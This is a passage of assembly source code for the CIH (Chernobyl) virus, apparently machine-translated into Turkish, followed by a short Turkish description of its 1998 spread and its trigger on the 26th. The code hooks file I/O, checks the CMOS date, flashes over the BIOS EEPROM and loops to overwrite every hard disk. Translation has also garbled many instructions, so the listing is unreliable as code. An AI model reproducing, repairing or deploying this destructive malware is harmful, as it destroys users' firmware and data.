çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO 

; *************************************
; * Dosya Değişikliğini Geri Yükleme Gerekiyor *
; * Zaman! *
; *************************************

popf
pop esi 
jnc IsKillBilgisayar

; *************************************
; * Dosya Değiştirme Zamanını Geri Yükleme *
; *************************************

mov ebx , edi  

hareketli balta , 4303h  
mov ecx , (FileModificationTime - @ 7 ) [ esi ] 
mov edi , (FileModificationTime + 2 - @ 7 ) [ esi ] 
ebx çağrısı ; VXDCall IFSMgr_Ring0_FileIO 

; *************************************
; * OnBusy'yi devre dışı bırak *
; *************************************

DisableOnBusy:
Aralık bayt ptr (OnBusy - ' 7 ) [ esi ] ; OnBusy'yi devre dışı bırak

; *************************************
; * Önceki FileSystemApiHook arayın *
; *************************************

prevhook:
popad

mov eax , dr0 ;  
jmp [ eax ] ; Kanıtlamak için atla 

; *************************************
; * IFS’nin işlevini çağırın *
; * Yönetici normalde * arayacaktı
; * Bu Özel G / Ç'yi uygulayın *
; * İstek. *
; *************************************

pIFSFunc:
mov ebx , esp  
itme DWORD ptr [ ebx + 20h + 04H + 14h ] ; Pioreq itin
[ ebx + 20h + 04h ] çağrısı ; PIFSFunc'u arayın 
pop ecx ; 

mov [ ebx + 1ch ], eax ; Yığındaki EAX Değerini Değiştirme  

; ***************************
; * PIFSFunc'u Aradıktan Sonra, *
; * * 'Dan Bazı Verileri Alın *
; * Döndü pioreq. *
; ***************************

cmp DWORD ptr [ ebx + 20h + 04h + 04h ] 00000024h 
jne QuitMyVirusFileSystemHook

; *****************
; * Dosyayı al *
; * Değişiklik *
; * Tarih ve saat *
; * DOS biçiminde. *
; *****************

MOV eax , [ ecx + 28h ]  
mov (FileModificationTime - @ 6 ) [ esi ], eax 

; ***************************
; * Virüsümden Çık '
; * IFSMgr_FileSystemHook *
; ***************************

QuitMyVirusFileSystemHook:

popad

çürümek

; *************************************
; * Bilgisayarı öldür! ... * ^ _ ^ * *
; *************************************

IsKillComputer:
; BIOS CMOS'tan Hemen Gün Alın
mov al , 07h  
üzerinden 70H , al  
içerisinde al , 71H  

xor al , 26h ; ?? / 26 / ????  

Eğer DEBUG
jmp DisableOnBusy
BAŞKA
JNZ DisableOnBusy
ENDIF

; **************************************
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; **************************************

; ***************************
; * BIOS EEPROM'u öldür *
; ***************************

mov bp , 0cf8h  
lea esi , IOForEEPROM - @ 7 [ esi ] 

; ***********************
; * BIOS Sayfasını Göster *
; * 000E0000 - 000EFFFF *
; * (64 KB) *
; ***********************

mov edi , 8000384ch  
mov dx , 0cfeh  
cli
çağrı esi 

; ***********************
; * BIOS Sayfasını Göster *
; * 000F0000 - 000FFFFF *
; * (64 KB) *
; ***********************

mov di , 0058 saat  
dec edx ; ve al, 0fh 
mov kelimesi ptr (BooleanCalculateCode - @ 10 ) [ esi ], 0f24h 
çağrı esi 

; ***********************
; * Ekstra BIOS'u göster *
; * Bellekteki ROM Verileri *
; * 000E0000 - 000E01FF *
; * (512 Bayt) *
; * ve Bölüm *
; * Ekstra BIOS’un *
; * Yazılsın ... *
; ***********************

lea ebx , EnableEEPROMToWrite - @ 10 [ esi ] 

mov eax , 0e5555h  
mov ecx , 0e2aaah  
çağrı ebx 
MOV bayt ptr [ eax'ait ], 60h 

ecx itin 
$ döngü

; ***********************
; * Ekstra BIOS'u öldür *
; * Bellekteki ROM Verileri *
; * 000E0000 - 000E007F *
; * (80 saat Bayt) *
; ***********************

xor ah , ah  
mov [ eax ], al  

xchg ecx , eax  
$ döngü

; ***********************
; * Göster ve Etkinleştir *
; * BIOS Ana ROM Verileri *
; * 000E0000 - 000FFFFF *
; * (128 KB) *
; * Yazılabilir ... *
; ***********************

mov eax , 0f5555h  
pop ecx 
mov ch , 0aah  
çağrı ebx 
mov byte ptr [ eax ], 20 saat 

$ döngü

; ***********************
; * BIOS Main'i öldür *
; * Bellekteki ROM Verileri *
; * 000FE000 - 000FE07F *
; * (80 saat Bayt) *
; ***********************

mov ah , 0e0h  
mov [ eax ], al  

; ***********************
; * BIOS Sayfasını Gizle *
; * 000F0000 - 000FFFFF *
; * (64 KB) *
; ***********************
; ya da al, 10 saat
mov kelimesi ptr (BooleanCalculateCode - @ 10 ) [ esi ], 100ch 
çağrı esi 

; ***************************
; * Tüm HardDisk'i öldür *
; ************************************************** *
; * IOR IOS_SendCommand İhtiyaçlarının Yapısı *
; ************************************************** *
; * ?? ?? ?? ?? 01 00 ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ************************************************** *

KillHardDisk:
xor, ebx , ebx  
mov bh , FirstKillHardDiskNumber 
ebx itin 
alt esp , 2 kanal  
0c0001000h itin 
mov bh , 08h  
ebx itin 
ecx itin 
ecx itin 
ecx itin 
40000501h itin 
inc ecx 
ecx itin 
ecx itin 

mov esi , esp  
alt esp , 0ach  

LoopOfKillHardDisk:
int 20h 
dd 00100004 saat ; VXDCall IOS_SendCommand 

cmp kelimesinin ptr [ ESI + 06h ], 0017h 
je KillNextDataSection

ChangeNextHardDisk:
inc bayt ptr [ esi + 4dh ]

jmp LoopOfKillHardDisk

KillNextDataSection:
dword ptr ekle [ esi + 10h ], ebx 
mov bayt ptr [ esi + 4dh ], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk

; ***************************
; * Yazma EEPROM'u etkinleştirin *
; ***************************

EnableEEPROMToWrite:
mov [ eax ], cl  
mov [ ecx ], al  
mov bayt ptr [ eax ], 80 saat 
mov [ eax ], cl  
mov [ ecx ], al  

çürümek

; ***************************
; * EEPROM için G / Ç *
; ***************************

IOForEEPROM:
@ 10 = IOForEEPROM

xchg eax , edi  
xchg edx , ebp  
dışarı dx , eax  

xchg eax , edi  
xchg edx , ebp  
içerisinde al , dx  

BooleanCalculateCode = $
ya da al , 44h  

xchg eax , edi  
xchg edx , ebp  
dışarı dx , eax  

xchg eax , edi  
xchg edx , ebp  
dışarı dx , al  

çürümek

; ************************************************** *******
; * Statik Veri *
; ************************************************** *******

LastVxDCallAddress = IFSMgr_Ring0_FileIO
VxDCallAdresiTable db 00h
db IFSMgr_RemoveFileSystemApiHook - _PageAllocate
db UniToBCSPath - IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO - UniToBCSPath

VxDCallIDTable dd 00010053h , 00400068h , 00400041h , 00400032h   
VxDCallTableSize = ($ - VxDCallIDTable) / 04 sa

; ************************************************** *******
; * Virüs Sürümü Telif Hakkı *
; ************************************************** *******

VirusVersionCopyright db 'CIH v'
db MajorVirusVersion + '0'
db '.' 
db MinorVirusVersion + '0'
db 'TATUNG' 

; ************************************************** *******
; * Virüs Boyutu *
; ************************************************** *******

VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark (04 s)
; + NumberOfSections (??) * SizeOfVirusCodeSectionTable (08h)
; +BizimFirstVirusCodeSectionTable (04s)

; ************************************************** *******
; * Dinamik Veri *
; ************************************************** *******

VirusGameDataStartAddress = VirusSize
@ 6 = VirusGameDataStartAddress
OnBusy db 0
FileModificationTime dd?

FileNameBuffer db DosyaAdıBufferSize dup (?)
@ 7 = FileNameBuffer

DataBuffer = $
@ 8 = DataBuffer
NumberOfSections dw?
TimeDateStamp gg?
SymbolsPointer dd?
NumberOfSymbols dd?
SizeOfOptionalHeader dw?
_ Karakteristikler dw?
Sihir dw?
LinkerVersion dw?
SizeOfCode dd?
SizeOfInitializedData dd?
SizeOfUninitializedData dd?
AddressOfEntryPoint gg?
BaseOfCode dd?
BaseOfData dd?
ImageBase dd?
@ 9 = $
SectionAlignment dd?
FileAlignment dd?
OperatingSystemVersion dd?
ImageVersion dd?
SubsystemVersion dd?
Ayrılmış dd?
SizeOfImage dd?
SizeOfHeaders dd?
SizeOfImageHeaderToRead = $ - NumberOfSections

NewAddressOfEntryPoint = DataBuffer ; DWORD
SizeOfImageHeaderToWrite = 04 saat

StartOfSectionTable = @ 9
SectionName = StartOfSectionTable ; QWORD
VirtualSize = StartOfSectionTable + 08h ; DWORD
VirtualAddress = StartOfSectionTable + 0ch ; DWORD
SizeOfRawData = StartOfSectionTable + 10h ; DWORD
PointerToRawData = StartOfSectionTable + 14h ; DWORD
PointerToRelocations = StartOfSectionTable + 18h ; DWORD
PointerToLineNumbers = StartOfSectionTable + 1ch ; DWORD
NumberOfRelocations = StartOfSectionTable + 20h ; WORD
NumberOfLinenNmbers = StartOfSectionTable + 22h ; WORD
Özellikler = StartOfSectionTable + 24h ; DWORD
SizeOfScetionTable = Özellikler + 04h - BölümAdı

; ************************************************** *******
; * Virüs Toplam İhtiyaç Belleği *
; ************************************************** *******

VirusNeedBaseMemory = $

VirusTotalNeedMemory = @ 9
; + NumberOfSections (??) * SizeOfScetionTable (28h)
; + SizeOfVirusCodeSectionTableEndMark (04 s)
; + NumberOfSections (??) * SizeOfVirusCodeSectionTable (08h)
; +BizimFirstVirusCodeSectionTable (04s)

; ************************************************** *******
; ************************************************** *******

VirusGame ENDS
Rat formatına getirip çalıştırmayın 
İlk kez 1998 yılının Haziran ayında yayılmaya başlayan ve Güney Doğu Asya kökenli olan bu virus, 1 Temmuz 1998 tarihinde popüler anti-virus programlarının listesine eklendi.-

"Time Bomb" (Sisteme bulaştıkdan sonra belirli bir tarih vaya zamanı bekleyip aktif hale geçen virusler)  özelliği gösteren bu virüsün bilinen bir kaç verisyonu mevcut. Bu virüsün bilinen bir versiyonu Çernobil Faciasının yıl dönümü olan her 26 Nisan 'da aktif hale geçiyor bir diğer versiyonu ise her ayın 26. günü aktif hale geçiyor ve sistemin Dosya Ulaşım Tablosunu (File Allocation Table)  ve BIOS olarak nitelendirilen entegreyi (Bilgisayar açıldığında sistemin yapması gereken işlemleri ve bu işlemlerin sırasını tutan elektronik devre)  tamamen siliyor.-